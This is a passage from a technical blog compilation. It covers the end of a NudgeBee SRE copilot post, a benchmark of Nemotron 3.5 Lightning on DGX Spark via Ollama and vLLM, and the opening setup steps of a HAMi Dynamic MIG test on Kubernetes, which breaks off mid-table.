That is the SRE copilot loop, and NudgeBee is the most complete open implementation of it I have run. It earns the "copilot" name not because there is a chat box, but because every stage - collection, ranking, tool-driven investigation, durable remediation, and the paper trail - lives in one system that a small team can actually self-host. And because that system is agent-agnostic, the same AIOps platform covers SRE, FinOps, K8s ops, and whatever custom automation a team builds next.

SRE still needs humans. What it should stop needing is humans doing all the glue work by hand.

Give it a try on a test cluster and let me know what you find - and if you hit the same sharp edges I did, the fixes above should save you an evening. If the project looks useful to you, [star the repo on GitHub](https://github.com/nudgebee/nudgebee) - it is the easiest way to support the team building it - and tag me on [X @SaiyamPathak](https://x.com/SaiyamPathak) with what your investigations turn up.

---

## Useful Links

- Repo: [github.com/nudgebee/nudgebee](https://github.com/nudgebee/nudgebee)
- Release v1.4.0: [github.com/nudgebee/nudgebee/releases](https://github.com/nudgebee/nudgebee/releases)
- Helm chart: `oci://ghcr.io/nudgebee/charts/nudgebee`
- Architecture: [docs/ARCHITECTURE.md](https://github.com/nudgebee/nudgebee/blob/main/docs/ARCHITECTURE.md)
- Glossary: [docs/GLOSSARY.md](https://github.com/nudgebee/nudgebee/blob/main/docs/GLOSSARY.md)
- Auth & NetworkPolicy: [docs/auth-and-networkpolicy.md](https://github.com/nudgebee/nudgebee/blob/main/docs/auth-and-networkpolicy.md)
- Agent chart: [github.com/nudgebee/k8s-agent](https://github.com/nudgebee/k8s-agent)
- kiac (the local cluster tool): [github.com/saiyam1814/kiac](https://github.com/saiyam1814/kiac)

---

# Running Nemotron 3.5 Lightning on DGX Spark

- Canonical: https://blog.kubesimplify.com/nemotron-3-5-lightning-on-dgx-spark
- Published: 2026-08-11
- Summary: NVIDIA's new Nemotron 3.5 Lightning on DGX Spark: how to run it with Ollama and vLLM, the tokens per second I measured, and how the two paths compare.

NVIDIA released [Nemotron 3.5 Lightning](https://developer.nvidia.com/blog/nvidia-nemotron-3-5-lightning-delivers-fast-accurate-specialized-task-execution-for-long-running-agents/) today (August 11, 2026), and the pitch is simple: long-running agents spend most of their tokens on boring execution work (tool calls, validating outputs, formatting results), and you should not be burning frontier-model money on that. Lightning is the small, fast worker model for that layer.

NVIDIA specifically calls out DGX Spark as a deployment target. I have a Spark on my desk. So instead of quoting their charts, I pulled the model the hour it landed and measured it myself. This is a short post with what I measured, and one gotcha you should know about if you try it right away.

## What it actually is

The specs, verified against the [model config on Hugging Face](https://huggingface.co/nvidia/NVIDIA-Nemotron-3.5-Lightning-30B-A3B-BF16), not the press release:

| Spec | Value |
|---|---|
| Total parameters | 30B |
| Active parameters | ~3B per token |
| Architecture | Hybrid Mamba-Transformer MoE (`nemotron_h`), 52 layers |
| Experts | 128 routed, 6 active per token, plus 1 shared expert |
| Context window | Up to 1M tokens (the HF config defaults to 256K, sized for single-GPU deployment) |
| Pre-training | Over 20T tokens, with an NVFP4 pre-training recipe |
| Speculative decoding | MTP layer baked in, plus separate DSpark and DFlash draft models on HF |
| Checkpoints | BF16 and NVFP4 |
| License | OpenMDW-1.1 (weights, data, and recipes released) |

The family resemblance to Nemotron 3 Super and Ultra is deliberate. Same hybrid Mamba-Transformer MoE recipe, same multi-token prediction training, just shrunk to a size where 3B active parameters means memory bandwidth stops being your enemy. On a bandwidth-bound box like the Spark (273 GB/s), the active parameter count is what decides your decode speed. That is the reason this model exists at this size.

NVIDIA's own positioning worth repeating: on PinchBench it scores 86% while completing 10,000 tasks about 30% faster than Qwen3.6 35B at similar accuracy (their blog says 30%, the launch tweet says 35%, I am going with the blog). They also claim up to 4x the output speed of similar-sized models. Those are NVIDIA's numbers, mine are below.

## The gotcha: your Ollama is too old

Ollama is a day-one launch partner, and the model is already in the library. But:

```
$ ollama pull nemotron-3.5-lightning:30b-a3b
Error: pull model manifest: 412:
The model you are attempting to pull requires a newer version of Ollama.
```

Support for the Nemotron 3.5 architecture landed in [Ollama v0.32.9](https://github.com/ollama/ollama/releases/tag/v0.32.9), released today, a few hours after the model itself. Anything older fails with that 412, and on launch day "older" included both my Spark's install (0.30.10) and the `ollama/ollama:latest` Docker image (still 0.32.6 when I tried it). The fix is to upgrade, then pull again.

```bash
curl -fsSL https://ollama.com/install.sh | sh
ollama pull nemotron-3.5-lightning:30b-a3b
ollama run nemotron-3.5-lightning:30b-a3b
```

By the time you read this, a plain upgrade is probably all you need. I mention it because if you searched that 412 error, this is why.

25GB download. The Ollama build is a Q4_K_M GGUF that `ollama show` reports as 32.9B parameters (the gap vs the marketing 30B is likely the MTP layer and embeddings being counted). Two things worth noticing in the model metadata: it ships with `draft_num_predict 2`, meaning Ollama is already using the baked-in multi-token prediction for speculative decoding out of the box, and it lists `tools` and `thinking` capabilities. Keep in mind this is not the NVFP4 checkpoint. More on that at the end.

## The numbers

All runs on my DGX Spark (GB10, 128GB unified memory, DGX OS), Ollama 0.32.9, temperature 0, measured via the API so the tok/s figures come from Ollama's own eval counters, 3 runs each.

First, the footprint. Cold load took 27.3 seconds, and `ollama ps` reports 26GB resident at 100% GPU. Interesting detail: Ollama loads this model with the full 262,144 token context window by default, and even at 256K context the whole thing plus KV cache room fits with roughly 86GB of the unified pool still available. On a 24GB card you would be making painful tradeoffs; here it just loads.

```
NAME                              SIZE     PROCESSOR    CONTEXT
nemotron-3.5-lightning:30b-a3b    26 GB    100% GPU     262144
```

The throughput numbers:

| Test | Prefill (uncached) | Decode |
|---|---|---|
| Short prompt (39 tok), 500 token generation | small prompt, not meaningful | 71.7 to 73.0 tok/s |
| 8,194 token prompt, 200 token generation | 2,583 tok/s | 85 to 87 tok/s |
| 15,820 token prompt (cache-busted rerun) | 2,655 tok/s | 83.9 tok/s |
| Agent-style prompt (tool call JSON) | | 85.6 to 86.7 tok/s |

And the raw runs behind that table, straight from the API counters (repeat runs of the same long prompt hit Ollama's prompt cache, which is why I only count uncached first passes for prefill):

```
short run 1: prompt 39 tok @ 87.6 tok/s   | decode 500 tok @ 73.01 tok/s
short run 2: prompt 39 tok @ 918.5 tok/s  | decode 500 tok @ 71.90 tok/s
short run 3: prompt 39 tok @ 824.5 tok/s  | decode 500 tok @ 71.73 tok/s
long  run 1: prompt 8194 tok @ 2583.4 tok/s | decode 200 tok @ 38.36 tok/s (first-load outlier)
long  run 2: prompt cached                  | decode 200 tok @ 86.97 tok/s
long  run 3: prompt cached                  | decode 200 tok @ 85.38 tok/s
cache-busted: prompt 15820 tok @ 2654.7 tok/s | decode 200 tok @ 83.93 tok/s
agent run 1: decode 150 tok @ 85.62 tok/s
agent run 2: decode 150 tok @ 86.17 tok/s
agent run 3: decode 150 tok @ 85.94 tok/s
```

So: roughly **72 to 87 tok/s single-stream decode** and about **2,600 tok/s prefill**, sustained even with 8K to 16K tokens of context on the clock. An 8K-token prompt is fully ingested in just over 3 seconds. The one 38 tok/s decode reading happened immediately after the model's very first prefill and never reproduced; the cache-busted rerun confirms decode stays in the 80s with a fresh 15K-token prefill.

Two things surprised me:

**Decode speed depends on what the model is generating.** The short test (YAML plus prose) sat at 72 tok/s while the log-summary and JSON tool-call tests ran 84 to 87 tok/s. My best explanation is the built-in speculative decoding: the Ollama build ships with `draft_num_predict 2`, so the MTP head drafts ahead and predictable output (JSON, repetitive summaries) gets a higher acceptance rate than free-form prose. So the tok/s you get depends on the workload.

**Agent-style calls come back fast.** I gave it a tool-calling prompt (find why an nginx deployment is CrashLooping, respond with the next tool call as JSON). It reasoned for a few hundred tokens, then returned exactly this, end to end in 5.9 seconds:

```json
{
  "tool": "run_command",
  "parameters": {
    "cmd": "kubectl get pods -n web"
  }
}
```

That is the right first step, and it came back as clean JSON with nothing extra around it. This is a reasoning model by default (Ollama reports the `thinking` capability), so budget for a couple hundred thinking tokens per call, at 86 tok/s that is about 3 seconds of overhead per agent step.

## How it compares with other models on the same box

I first reached for the numbers I measured back in May and the comparison looked flattering. Then I reran everything today, on the same Ollama 0.32.9 server, same prompt, same settings, and the picture changed. (Note: NVIDIA's PinchBench comparison is against Qwen3.6 35B; what I have locally is its predecessor, qwen3.5:35b-a3b, so treat these as class comparisons, not a re-run of NVIDIA's benchmark.)

| Model | Active params | Decode tok/s (today) | My May number |
|---|---|---|---|
| **Nemotron 3.5 Lightning 30B-A3B** | ~3B | **71.7 to 73.0** (prose), **84 to 87** (JSON, summaries) | n/a, launched today |
| qwen3.5:35b-a3b | ~3B | 78.1 | 52.7 |
| gemma4:26b (26B-A4B MoE) | ~4B | 66.2 | 58.0 |
| nemotron-3-super (120B-A12B) | ~12B | 21.8 | 17.7 |

The first thing this table shows has nothing to do with Nemotron: **the runtime itself got faster**. Qwen3.5 35B-A3B went from 52.7 to 78.1 tok/s on the same hardware since May, because Ollama now exploits its MTP head for speculative decoding too. If you are still quoting tok/s numbers from a months-old Ollama, they are stale. Mine were.

The second thing: **through Ollama, raw decode speed against Qwen3.5 35B-A3B is basically a tie.** On the identical prose prompt, Qwen was actually a touch faster (78 vs 72). NVIDIA's "up to 4x the output speed of similar-sized models" comes from the Artificial Analysis leaderboard, measuring hosted NVFP4 endpoints with the full draft-model stack; you do not see that 4x through Ollama today. Against its own big brother Nemotron 3 Super, the model it is meant to take execution work from, Lightning is a real 3.3x to 4x.

Where Lightning does win is token efficiency. I gave qwen3.5:35b-a3b the exact CrashLoop agent prompt from earlier, temperature 0. Both models produced the identical correct `kubectl get pods -n web` tool call:

| | Tokens to answer | Wall clock |
|---|---|---|
| Nemotron 3.5 Lightning | 485 | 5.9s |
| qwen3.5:35b-a3b | 1,953 | 26.0s |

Qwen thought four times longer to reach the same place. One prompt is not a benchmark, but it is exactly the behavior NVIDIA claims Lightning was trained for: their PinchBench pitch is 30% faster task completion at similar accuracy, a time-to-done argument rather than a tok/s argument. On this one task the agent step finished 4.4x sooner. For an agent doing thousands of steps a day, tokens per step matters more than tokens per second.

## Update: the NVFP4 checkpoint with vLLM and DSpark

The Ollama numbers above are the Q4_K_M GGUF. NVIDIA's recommended path for the Spark is different: the NVFP4 checkpoint served by vLLM with the DSpark draft model doing speculative decoding. The exact recipe is on the [NVFP4 model card](https://huggingface.co/nvidia/NVIDIA-Nemotron-3.5-Lightning-30B-A3B-NVFP4), and it runs in the stock `vllm/vllm-openai:v0.27.1` image, no special Spark build needed:

```bash
docker run -d --name vllm-lightning --gpus all --ipc=host --network=host \
  -v $HOME/.cache/huggingface:/root/.cache/huggingface \
  vllm/vllm-openai:v0.27.1 \
  --model nvidia/NVIDIA-Nemotron-3.5-Lightning-30B-A3B-NVFP4 \
  --served-model-name nemotron-3.5-lightning \
  --moe-backend marlin \
  --kv-cache-dtype fp8 \
  --max-model-len 65536 \
  --enable-prefix-caching \
  --speculative_config.method dspark \
  --speculative_config.model nvidia/NVIDIA-Nemotron-3.5-Lightning-30B-A3B-NVFP4-DSpark \
  --speculative_config.num_speculative_tokens 3 \
  --mamba-backend flashinfer \
  --mamba-cache-mode align \
  --gpu-memory-utilization 0.80 \
  --reasoning-parser nemotron_v3 \
  --tool-call-parser qwen3_coder \
  --enable-auto-tool-choice
```

One note on NVIDIA's recipe: it sets `--gpu-memory-utilization 0.91`, which on this box allocates 88GB of KV cache. I tested both. 0.91 starts and runs fine on this stack, and decodes at the same speed, but it leaves about 1GB of free system memory on a machine where CPU and GPU share the pool. I ran the benchmarks at 0.80: identical single-stream decode, 75GB of KV cache, and 12GB of headroom. The bigger allocation only buys you more concurrent requests, so if the Spark is doing anything else at all, 0.80 is the safer number (weights are 21.5GB, engine init took just under 2 minutes).

Same prompts, same method as the Ollama tests:

![Ollama vs vLLM decode and prefill speeds for Nemotron 3.5 Lightning on DGX Spark](/img/blog/nemotron-3-5-lightning-on-dgx-spark/ollama-vs-vllm.png)

| Test | Ollama (GGUF Q4_K_M) | vLLM (NVFP4 + DSpark) |
|---|---|---|
| Short prompt, 500 token decode | 72 tok/s | **108 tok/s** |
| Agent-style prompt, decode | 86 tok/s | **95 to 98 tok/s** |
| Long prompt, decode after prefill | 84 to 87 tok/s | **88 to 90 tok/s** |
| Prefill, uncached | ~2,600 tok/s | **~5,400 tok/s** |

The raw vLLM runs:

```
short run 1: decode 500 tok @ 108.31 tok/s
short run 2: decode 500 tok @ 108.26 tok/s
short run 3: decode 500 tok @ 108.22 tok/s
long  run 1: prompt 21218 tok, TTFT 3.93s (~5,394 tok/s prefill) | decode @ 89.92 tok/s
agent runs:  decode @ 98.28 / 94.31 / 95.90 tok/s
```

So the recommended path is roughly 1.5x the Ollama decode speed and about 2x the prefill, on the same hardware, and it holds ~90 tok/s with 21K tokens of context on the clock. The DSpark draft model is doing real work here: the one public comparison point, a sibling 30B-A3B NVFP4 on a Spark without speculative decoding, sits at 57 tok/s.

One tuning note before someone asks: there are configs circulating that set 256K context and `num_speculative_tokens: 7` instead of 3, some on vLLM nightly builds. I tested the draft depth both ways on both the release image and a current nightly, four combinations total. Depth 3 gives about 108 tok/s single stream on the release image and on EXO's exact nightly alike; depth 7 gives 80 to 93 on both. The mechanics: every verification pass pays for all drafted tokens whether or not they get accepted, and on these prompts the acceptance rate at depth 7 does not cover the extra cost. EXO's numbers come from an 884-task agentic suite where longer contexts may shift that tradeoff, but for single-stream use on this box, 3 is the number I would run.

Two smaller things this test surfaced. First, my "8,194 token prompt" in the Ollama runs was actually Ollama silently truncating a much longer prompt to fit its context setting; vLLM processed the full 21,218 tokens. The per-token prefill rates stand, but it is a good reminder to check `prompt_eval_count` when you benchmark Ollama. Second, these vLLM numbers came through the completions endpoint without the chat template, so the model skipped its long thinking pass on the agent prompt; decode speed is comparable, token counts are not, so I am not re-running the token-efficiency comparison here.

### Benchmark it yourself

The community leaderboard for this box is [Spark Arena](https://spark-arena.com), and it standardizes on llama-benchy sweeps. To run the same sweep against the server above, raise `--max-model-len` to 262144 in the serve command so the deeper context points fit, then:

```bash
pip install llama-benchy
llama-benchy --base-url http://localhost:8000/v1 --model nemotron-3.5-lightning \
  --depth 0 4096 8192 16384 32768 65535 100000 \
  --pp 2048 --tg 128 --enable-prefix-caching \
  --concurrency 1 2 5 10 --save-result results.csv
```

One reading tip for leaderboard numbers, there or anywhere: check whether a tok/s figure is single-stream or an aggregate peak across concurrent requests. The same recipe that decodes around 110 tok/s for one user can show 230+ tok/s summed over ten parallel streams, and the two numbers answer different questions.

## Reality check

A few things to know before you use these numbers:

1. **Runtime matters as much as model.** The same checkpoint family spans 72 to 108 tok/s on this box depending on how you serve it. Quote numbers with their runtime attached.
2. **Single stream only.** These are one-user interactive numbers. If you want aggregate throughput, that is a vLLM or TensorRT-LLM concurrency story (NVIDIA published [deployment guides](https://developer.nvidia.com/blog/nvidia-nemotron-3-5-lightning-delivers-fast-accurate-specialized-task-execution-for-long-running-agents/) for both).
3. **Launch-day software.** Ollama support is hours old. Expect the numbers to move as kernels and the runtime settle. I will update if they move meaningfully.

There is one other public number to compare against: the [NVIDIA forum benchmark of Nemotron 3 Nano Omni 30B-A3B](https://forums.developer.nvidia.com/t/benchmark-nvidia-nemotron-3-nano-omni-30b-a3b-reasoning-nvfp4/368566), an architecturally similar 30B-A3B, at 56.96 tok/s decode on a Spark via vLLM NVFP4 without speculative decoding. A 55 to 60 tok/s baseline for this size class, lifted into the 70s and 80s by MTP drafting, matches what I measured.

## Why I care about this model specifically

The interesting part is not the benchmark table, it is the division of labor NVIDIA is pushing. Alongside Lightning they released [NeMo Switchyard](https://developer.nvidia.com/blog/route-ai-agent-workloads-across-models-with-nvidia-nemo-switchyard/), an open source model router: plans go up to a frontier model, execution comes down to Lightning. LangChain measured a 74% cost reduction routing between Lightning and Claude Opus 4.8 with only 7% of calls escalating to the frontier model, at about a 6 point accuracy tradeoff.

A 3B-active model decoding at 108 tok/s on a desktop box fits that execution layer well. The follow-up I want to do next: Lightning on the Spark as the local execution model, a frontier model in the cloud for planning, and Switchyard routing between them. If that sounds interesting, subscribe.

---

# HAMi Dynamic MIG on RTX PRO 6000: A Live Kubernetes Test

- Canonical: https://blog.kubesimplify.com/dynamic-mig-in-kubernetes-with-hami
- Published: 2026-08-11
- Summary: Hands-on HAMi Dynamic MIG test on Kubernetes and RTX PRO 6000 Blackwell: setup commands, real allocations, mixed profiles, reclamation, and recovery.

[HAMi (Heterogeneous AI Computing Virtualization Middleware)](https://project-hami.io/docs/next) Dynamic MIG lets a Kubernetes pod request GPU memory and receive a real [NVIDIA Multi-Instance GPU (MIG)](https://docs.nvidia.com/datacenter/tesla/mig-user-guide/latest/introduction.html) hardware instance created for that pod. In our RTX PRO 6000 Blackwell test, HAMi selected the smallest legal profile, packed different profiles on one card, reclaimed only the deleted pod's instance, and preserved a live allocation across a device-plugin restart.

The first two posts in this series explored opposite ends of GPU sharing.

In [the MIG deep dive](/blog/slicing-gpus-in-kubernetes-with-nvidia-mig), we carved Blackwell cards into hardware-isolated slices. MIG gives each instance dedicated memory, cache, and compute resources, but a static layout makes profile changes an operational task. In [the HAMi vGPU post](/blog/sharing-gpus-in-kubernetes-with-hami), we requested exact memory and compute fractions through software-enforced `hami-core` mode. That improves packing density, but it is not a hardware isolation boundary.

The natural third question is: can a Kubernetes pod request GPU memory, receive a real MIG instance, and let HAMi manage that instance from creation to cleanup?

We reran that experiment from scratch on August 11, 2026, on an eight-GPU RTX PRO 6000 Blackwell server. This post follows HAMi's topology-aware, per-pod Dynamic MIG implementation from installation through cleanup.

The results were straightforward:

- Four 8,000 MiB requests became four `1g.24gb` instances on one GPU.
- A fifth identical pod moved to a second GPU after we made that GPU available to HAMi.
- A `1g.24gb` workload and a `2g.48gb` workload ran together on the same card.
- Deleting the small workload reclaimed only its MIG instance; the neighboring CUDA workload continued.
- A valid active allocation survived a HAMi device-plugin restart with the same MIG UUID and continued CUDA progress.

> **Version and migration note:** [PR #2378](https://github.com/Project-HAMi/HAMi/pull/2378) is merged, and this post tests the resulting per-pod implementation at [commit `634bf2b32e68`](https://github.com/Project-HAMi/HAMi/commit/634bf2b32e68e07d3fbcbd6da1ee079392fc07c1). At the time of this rerun, the latest tagged release was `v2.9.0`, which predates that implementation, so reproducing the lab requires the pinned source build below. Once HAMi publishes a release containing PR #2378, prefer its matching official chart and image. Existing `knownMigGeometries` users should follow the [migration guide](https://github.com/Project-HAMi/HAMi/blob/634bf2b32e68e07d3fbcbd6da1ee079392fc07c1/docs/develop/dynamic-mig-migration.md); the walkthrough below covers only the merged per-pod design.

## What is HAMi Dynamic MIG in Kubernetes?

A pod asks for GPU memory. HAMi chooses the smallest allowed MIG profile that has enough NVML-reported memory and a legal free placement, then creates that exact GPU Instance (GI) and Compute Instance (CI) for the pod.

{{dynamic-mig-lifecycle-animation}}

The workload request remains small:

```yaml
metadata:
  annotations:
    nvidia.com/vgpu-mode: "mig"
spec:
  schedulerName: hami-scheduler
  containers:
    - resources:
        limits:
          nvidia.com/gpu: 1
          nvidia.com/gpumem: 8000
```

On a `hami-core` node, `gpumem: 8000` is a software-enforced memory limit. On a Dynamic MIG node, it is a minimum memory requirement used to select a hardware profile. This GPU has no 8 GB profile, so the 8,000 MiB request receives `1g.24gb`; the container sees the complete 24,192 MiB MIG instance.

Three details matter:

- `nvidia.com/vgpu-mode: "mig"` explicitly selects the MIG path.
- Profile selection is memory-driven. `nvidia.com/gpucores` does not select a MIG profile; the profile fixes the compute fraction in hardware.
- NVIDIA's legal profile sizes and placements still apply. HAMi automates those rules; it does not remove them.

## Why use Dynamic MIG instead of HAMi-Core?

NVIDIA MIG divides a supported GPU into hardware-isolated instances. Each instance receives dedicated memory paths, cache, and compute resources. That is a stronger boundary than several workloads sharing one full GPU through software.

| | HAMi-Core | Topology-aware Dynamic MIG |
| --- | --- | --- |
| Isolation | Software-enforced sharing | NVIDIA MIG hardware instance |
| Size choices | Fine-grained memory and core fractions | Fixed NVIDIA profiles |
| Pod request | `gpu`, `gpumem`, optional `gpucores` | `gpu`, `gpumem`, and MIG mode annotation |
| Lifecycle | Software allocation | Create and reclaim one GI/CI per pod |
| Best fit | High packing flexibility | Stronger workload isolation |

MIG can be part of a multi-tenant security design, but it does not make a platform secure or compliant by itself. Identity, admission, network, storage, runtime, and host controls still matter.

## Which MIG profiles does the RTX PRO 6000 support?

NVIDIA's [supported MIG profile table](https://docs.nvidia.com/datacenter/tesla/mig-user-guide/latest/supported-mig-profiles.html) lists three profile sizes for the RTX PRO 6000 Blackwell Server Edition:

| Profile | Approximate memory | SM fraction | Maximum instances |
| --- | ---: | ---: | ---: |
| `1g.24gb` | 24 GB | 1/4 | 4 |
| `2g.48gb` | 48 GB | 1/2 | 2 |
| `4g.96gb` | 96 GB | Full GPU | 1 |

Profile rounding remains. An 8,000 MiB request receives the 24 GB profile, and the unused difference cannot be assigned to another pod inside that instance.

The implementation tested here uses a profile allowlist as policy:

```yaml
nvidia:
  migProfileAllowlist:
    - models: ["RTX PRO 6000 Blackwell Server Edition"]
      profiles: ["1g.24gb", "2g.48gb", "4g.96gb"]
```

For every allowed profile, the HAMi device plugin running on the GPU node asks [NVIDIA's Management Library (NVML)](https://docs.nvidia.com/deploy/nvml-api/nvml-api-reference.html) for memory, compute metadata, instance count, and legal placements. The scheduler then chooses the smallest profile that satisfies the request and fits without overlapping a live placement.

## Lab environment

| Component | Tested value |
| --- | --- |
| Server | Utho single-node GPU server |
| GPUs | 8 × NVIDIA RTX PRO 6000 Blackwell Server Edition |
| GPU memory | 97,887 MiB per physical GPU |
| NVIDIA driver | `610.43.02` |
| Kubernetes | `v1.35.6` |
| OS | Ubuntu 24.04.4 LTS, kernel `6.8.0-100-generic` |
| Container runtime | containerd `2.2.1` |
| HAMi source | `634bf2b32e68e07d3fbcbd6da1ee079392fc07c1` |

The run started with MIG mode enabled on all eight cards and no active CUDA processes:

```bash
nvidia-smi \
  --query-gpu=index,name,uuid,driver_version,memory.total,mig.mode.current \
  --format=csv

nvidia-smi \
  --query-compute-apps=gpu_uuid,pid,process_name,used_gpu_memory \
  --format=csv
```

The first command inventories the hardware and MIG mode. It returned all eight cards:

```text
index, name, uuid, driver_version, memory.total [MiB], mig.mode.current
0, NVIDIA RTX PRO 6000 Blackwell Server Edition, GPU-8b89b58e-b427-108d-ac50-06138d78fe78, 610.43.02, 97887 MiB, Enabled
1, NVIDIA RTX PRO 6000 Blackwell Server Edition, GPU-03a041b7-8abf-360a-d1a2-dfd70188cd5f, 610.43.02, 97887 MiB, Enabled
2, NVIDIA RTX PRO 6000 Blackwell Server Edition, GPU-ba09367f-dd50-32ca-e988-7ff66bece885, 610.43.02, 97887 MiB, Enabled
3, NVIDIA RTX PRO 6000 Blackwell Server Edition, GPU-30512c46-708b-f374-5698-ee24be6cd626, 610.43.02, 97887 MiB, Enabled
4, NVIDIA RTX PRO 6000 Blackwell Server Edition, GPU-4c395b7a-a7e6-d90f-1ced-d96e8dd68288, 610.43.02, 97887 MiB, Enabled
5, NVIDIA RTX PRO 6000 Blackwell Server Edition, GPU-04dc48d7-7048-aef5-ad36-f5db716e7668, 610.43.02, 97887 MiB, Enabled
6, NVIDIA RTX PRO 6000 Blackwell Server Edition, GPU-f4f5db98-143f-0a8d-47ce-956fab39a736, 610.43.02, 97887 MiB, Enabled
7, NVIDIA RTX PRO 6000 Blackwell Server Edition, GPU-f4c61521-240a-da09-2787-e576034e197e, 610.43.02, 97887 MiB, Enabled
```

The second command checks for active compute processes before any lifecycle operation. Its real output contained only the header:

```text
gpu_uuid, pid, process_name, used_gpu_memory [MiB]
```

That means no CUDA compute process was active at that instant.

> **Host versus cluster commands:** run host-level `nvidia-smi`, Docker, and `ctr` commands on the GPU node. Run `kubectl` and Helm from any machine whose kubeconfig targets the intended cluster. In this lab they all ran on the single RTX node.

## Pin the HAMi build before testing

This step exposed the easiest version trap in the entire lab. At commit `634bf2b`, the checked-out chart and source contain topology-aware Dynamic MIG, but the chart metadata and default image tag still say `2.9.0`. Rendering that chart without image overrides deploys the `v2.9.0` binaries, not the code in the checkout.

Helm's chart or app version is therefore not proof of the running binary. We built the commit and used the same pinned image for the scheduler extender, device plugin, and monitor.

### 1. Back up and inventory the existing installation

Before changing a running lab, capture both Helm's saved values and the live objects. They can differ:

```bash
export NODE=utho-gpu-rtxpro6000-8-62383
export LAB=/root/hami-dynamic-mig-rerun-2026-08-11

mkdir -p "$LAB"

helm get values hami -n hami-system --all -o yaml \
  > "$LAB/helm-values-before.yaml"
helm get manifest hami -n hami-system \
  > "$LAB/helm-manifest-before.yaml"
kubectl get configmaps -n hami-system -o yaml \
  > "$LAB/live-configmaps-before.yaml"
kubectl get node "$NODE" -o yaml \
  > "$LAB/node-before.yaml"
kubectl get pods -A --field-selector spec.nodeName="$NODE" -o wide
nvidia-smi -L > "$LAB/nvidia-smi-L-before.txt"
```

After taking the backups, we stopped every GPU workload and verified that the entire node was idle before continuing.

### 2. Build the exact source snapshot

```bash
export HAMI_SHA=634bf2b32e68e07d3fbcbd6da1ee079392fc07c1
export HAMI_TAG=master-634bf2b32e68
export HAMI_IMAGE=localhost/hami-dynamic-mig:$HAMI_TAG

git clone --recurse-submodules \
  https://github.com/Project-HAMi/HAMi.git "$LAB/HAMi"
git -C "$LAB/HAMi" checkout --detach "$HAMI_SHA"
git -C "$LAB/HAMi" submodule update --init --recursive

make -C "$LAB/HAMi" docker \
  IMG_NAME=localhost/hami-dynamic-mig \
  IMG_TAG="$HAMI_TAG" \
  VERSION="$HAMI_TAG" \
  TARGET_PLATFORMS=linux/amd64

docker image inspect "$HAMI_IMAGE" \
  --format='ID={{.Id}} Architecture={{.Architecture}} SizeBytes={{.Size}}'
```

The final command verifies what was built. Our result was:

```text
ID=sha256:0ddda56e333ff74e52d9908e00b85e7860cf4694fc09951aaa178e8c8e6dde76 Architecture=amd64 SizeBytes=411671341
```

For a normal multi-node cluster, push that immutable tag to a registry every target node can reach. Our single-node lab instead imported the image into containerd:

```bash
docker save --output "$LAB/hami-$HAMI_TAG.tar" "$HAMI_IMAGE"
sudo ctr --namespace k8s.io images import "$LAB/hami-$HAMI_TAG.tar"
sudo ctr --namespace k8s.io images list | grep -F "$HAMI_IMAGE"
```

That local import is suitable only because the scheduler, plugin, and both tested GPUs lived on the same node. `localhost/...` is not an image that another node can pull. On multiple nodes, push the pinned build to a registry or import it on every target node.

### 3. Use current Dynamic MIG values

The relevant parts of our `hami-current-mig-values.yaml` were:

```yaml
global:
  imageTag: master-634bf2b32e68

scheduler:
  defaultSchedulerPolicy:
    nodeSchedulerPolicy: binpack
    gpuSchedulerPolicy: binpack
  extender:
    image:
      registry: localhost
      repository: hami-dynamic-mig
      tag: master-634bf2b32e68
      pullPolicy: Never

devicePlugin:
  image:
    registry: localhost
    repository: hami-dynamic-mig
    tag: master-634bf2b32e68
    pullPolicy: Never
  monitor:
    image:
      registry: localhost
      repository: hami-dynamic-mig
      tag: master-634bf2b32e68
      pullPolicy: Never

  # This is NVIDIA's static resource-exposure strategy.
  # Keep it separate from HAMi's per-node operating mode below.
  migStrategy: none

  nodeConfiguration:
    config: |
      {
        "nodeconfig": [
          {
            "name": "utho-gpu-rtxpro6000-8-62383",
            "operatingmode": "mig",
            "devicememoryscaling": 1,
            "devicecorescaling": 1,
            "devicesplitcount": 10,
            "preconfigureddevicememory": 0,
            "enablenumatopology": false,
            "migstrategy": "none",
            "filterdevices": {
              "uuid": [],
              "index": [0, 1, 2, 3, 5, 6, 7]
            },
            "enablegetpreferredallocation": false
          }
        ]
      }

# Empty means: use the device-config.yaml bundled in this pinned chart.
device-config:
  content: ""
```

Two similarly named settings do different jobs:

- `operatingmode: "mig"` activates HAMi Dynamic MIG for this node.
- Top-level `devicePlugin.migStrategy: none` tells the NVIDIA device-plugin path not to publish pre-created MIG resources separately. The workload still requests the parent resource `nvidia.com/gpu` and HAMi creates the MIG instance dynamically.

Also, `filterdevices.index` is an **exclusion list**. The initial list excluded every card except GPU 4. It did not protect the excluded GPUs from all startup actions; we return to that safety boundary later.

### 4. Render before installing

```bash
helm lint "$LAB/HAMi/charts/hami" \
  -f "$LAB/hami-current-mig-values.yaml"

helm template hami "$LAB/HAMi/charts/hami" \
  --namespace hami-system \
  --kube-version 1.35.6 \
  -f "$LAB/hami-current-mig-values.yaml" \
  > "$LAB/rendered-current-hami.yaml"

grep -n -A 25 'migProfileAllowlist' \
  "$LAB/rendered-current-hami.yaml"
grep -n -E 'image:|imagePullPolicy:' \
  "$LAB/rendered-current-hami.yaml"
```

The rendered manifest contained the RTX profile allowlist and the pinned image in all three HAMi containers. No `projecthami/hami:v2.9.0` runtime image remained.

Avoid `--reuse-values` here. A saved per-component tag takes precedence over `global.imageTag`, so a stale custom plugin image can survive even when the global tag looks correct.

### 5. Perform the controlled lab handover

> **Destructive lab step:** we used a fresh reinstall only after every GPU pod and process on the single node was gone. Existing clusters should follow the linked migration guide instead of treating `helm uninstall` as a general upgrade procedure.

```bash
helm uninstall hami -n hami-system --wait --timeout 5m

helm upgrade --install hami "$LAB/HAMi/charts/hami" \
  -n hami-system \
  --create-namespace \
  --reset-values \
  -f "$LAB/hami-current-mig-values.yaml" \
  --wait \
  --timeout 10m

kubectl get pods -n hami-system \
  -o custom-columns='POD:.metadata.name,CONTAINERS:.spec.containers[*].name,IMAGES:.spec.containers[*].image'
```

The live output confirmed that the scheduler extender, device plugin, and monitor all used:

```text
localhost/hami-dynamic-mig:master-634bf2b32e68
```

The monitor had one transient CDI `StartError` referring to a stale MIG UUID during the handover. Kubernetes retried it, and both plugin containers became ready. We checked the previous container state instead of hiding that transition.

## How does HAMi discover legal MIG placements through NVML?

The node registration annotation is the clearest view of what the plugin learned from the driver:

```bash
kubectl get node "$NODE" -o json |
jq '
  .metadata.annotations["hami.io/node-nvidia-register"]
  | fromjson
  | .[]
  | {id, index, type, mode, count, migProfiles}
'
```

The live discovery was:

| Profile | `memoryMB` | Core | `sliceCount` | Legal NVML placements (`start`, `size`) |
